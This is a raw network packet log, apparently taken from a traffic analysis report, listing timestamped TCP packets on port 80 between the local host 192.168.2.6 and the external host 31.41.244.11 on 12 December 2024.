Dec 12, 2024 21:50:47.597527027 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.597721100 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.598659992 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.598808050 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.599817038 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.599946976 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.600944042 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.601094961 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.602098942 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.602204084 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.603271961 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.603380919 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.604394913 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.604515076 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.605578899 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.605720997 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.606702089 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.606801987 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.607856035 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.607896090 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.607920885 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.607947111 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.608017921 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.608041048 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.608242035 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.608993053 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.609123945 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.609160900 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.609184980 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.610141993 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.610264063 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.610507965 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.611310005 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.611651897 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.611752987 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.612571955 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.612622976 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.612651110 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.612694025 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.613615036 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.613749981 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.613786936 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.613828897 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.614742994 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.614850044 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.614851952 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.615931988 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.615951061 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.616034985 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.616046906 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.616389036 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.617064953 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.617166042 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.617510080 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.618237972 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.618285894 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.618340015 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.618383884 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.619462013 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.619507074 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.619541883 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.619589090 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.620609045 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.620666027 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.620726109 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.620769978 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.621798992 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.621825933 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.621848106 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.621874094 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.622850895 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.622899055 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.623030901 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.623076916 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.623955965 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.624001980 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.624043941 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.624088049 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.625083923 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.625226021 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.625530958 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.626234055 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.626354933 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.626461029 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.627410889 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.627485991 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.628647089 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.628701925 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.629718065 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.629831076 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.630897999 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.630955935 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.632002115 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.632138014 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.633197069 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.633282900 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.634331942 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.634413958 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.634804010 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.635445118 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.635560036 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.636607885 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.636724949 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.637741089 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.637851954 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.638905048 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.639029026 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.640109062 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.640194893 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.641191006 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.641346931 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.642474890 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.642575026 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.643575907 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.643762112 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.644629002 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.644764900 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.645953894 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.646109104 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.646996975 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.654958963 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.656944990 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.657164097 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.657164097 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.780483961 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.780519962 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.780961037 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.781196117 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.781285048 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.782459021 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.782708883 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.783179045 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.783823967 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.783854008 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.783940077 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.784172058 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.785171986 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.785221100 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.785300016 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.785365105 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.786504030 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.786547899 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.786578894 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.786616087 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.787714958 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.787831068 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.787935972 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.788990974 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.789048910 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.789123058 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.789166927 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.790204048 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.790258884 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.790282965 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.790335894 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.791254997 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.791301966 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.791347980 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.791384935 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.792231083 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.792279005 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.792346001 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.792388916 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.793176889 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.793225050 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.793324947 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.793365955 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.794290066 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.794339895 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.794445992 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.794509888 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.795269966 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.795346022 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.795347929 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.795407057 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.796387911 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.796435118 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.796472073 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.797436953 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.797554970 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.797739029 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.798495054 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.798549891 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.798576117 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.798667908 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.799474955 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.799524069 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.799607038 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.799653053 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.800278902 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.800299883 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.800326109 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.800338030 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.800957918 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.801007032 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.801063061 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.801110029 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.801960945 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.802010059 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.802041054 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.802078962 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.802975893 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.803031921 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.803086042 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.803142071 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.804023027 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.804075956 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.804145098 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.804198027 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.804904938 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.804959059 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.805013895 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.805061102 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.806077003 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.806261063 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.806339979 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.807194948 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.807274103 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.808343887 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.808414936 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.809458971 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.809500933 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.809591055 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.810241938 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.810669899 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.810770035 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.810796976 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.810822010 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.811976910 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.812043905 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.812339067 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.812911034 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.812967062 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.813124895 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.813170910 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.814111948 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.814166069 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.814275980 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.814330101 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.815200090 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.815254927 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.815289021 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.815330982 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.816344023 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.816498995 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.816860914 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.817481995 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.817537069 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.817589998 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.817639112 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.818658113 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.818711042 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.818748951 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.818798065 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.819843054 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.819899082 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.820090055 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.820141077 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.821067095 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.821114063 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.821270943 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.821320057 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.822195053 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.822251081 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.822278976 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.822329998 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.823247910 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.823326111 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.823359966 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.823422909 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.824445009 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.824506998 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.824546099 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.824611902 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.825567961 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.825632095 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.825683117 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.825745106 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.826694012 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.826756954 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.826822996 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.826884031 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.827862024 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.827924967 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.827963114 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.828044891 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.829034090 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.829093933 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.829129934 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.829193115 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.830260992 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.830322981 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.830358982 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.830415964 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.831373930 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.831507921 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.832494974 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.832552910 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.832942963 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.833621979 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.833720922 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.833729982 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.833802938 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.834784031 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.834865093 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.834875107 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.834960938 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.835968971 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.836057901 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.836105108 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.836203098 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.837361097 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.837490082 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.838677883 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.838800907 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.838828087 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.838985920 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.971546888 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.971584082 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.971623898 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.971657038 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.971997976 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.972064018 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.972196102 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.972259045 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.972928047 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.972997904 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.973290920 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.973354101 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.973371029 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.973421097 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.974432945 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.974504948 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.974566936 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.974652052 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.975615978 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.975682020 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.975697994 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.975749016 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.976710081 CET	80	49971	31.41.244.11	192.168.2.6
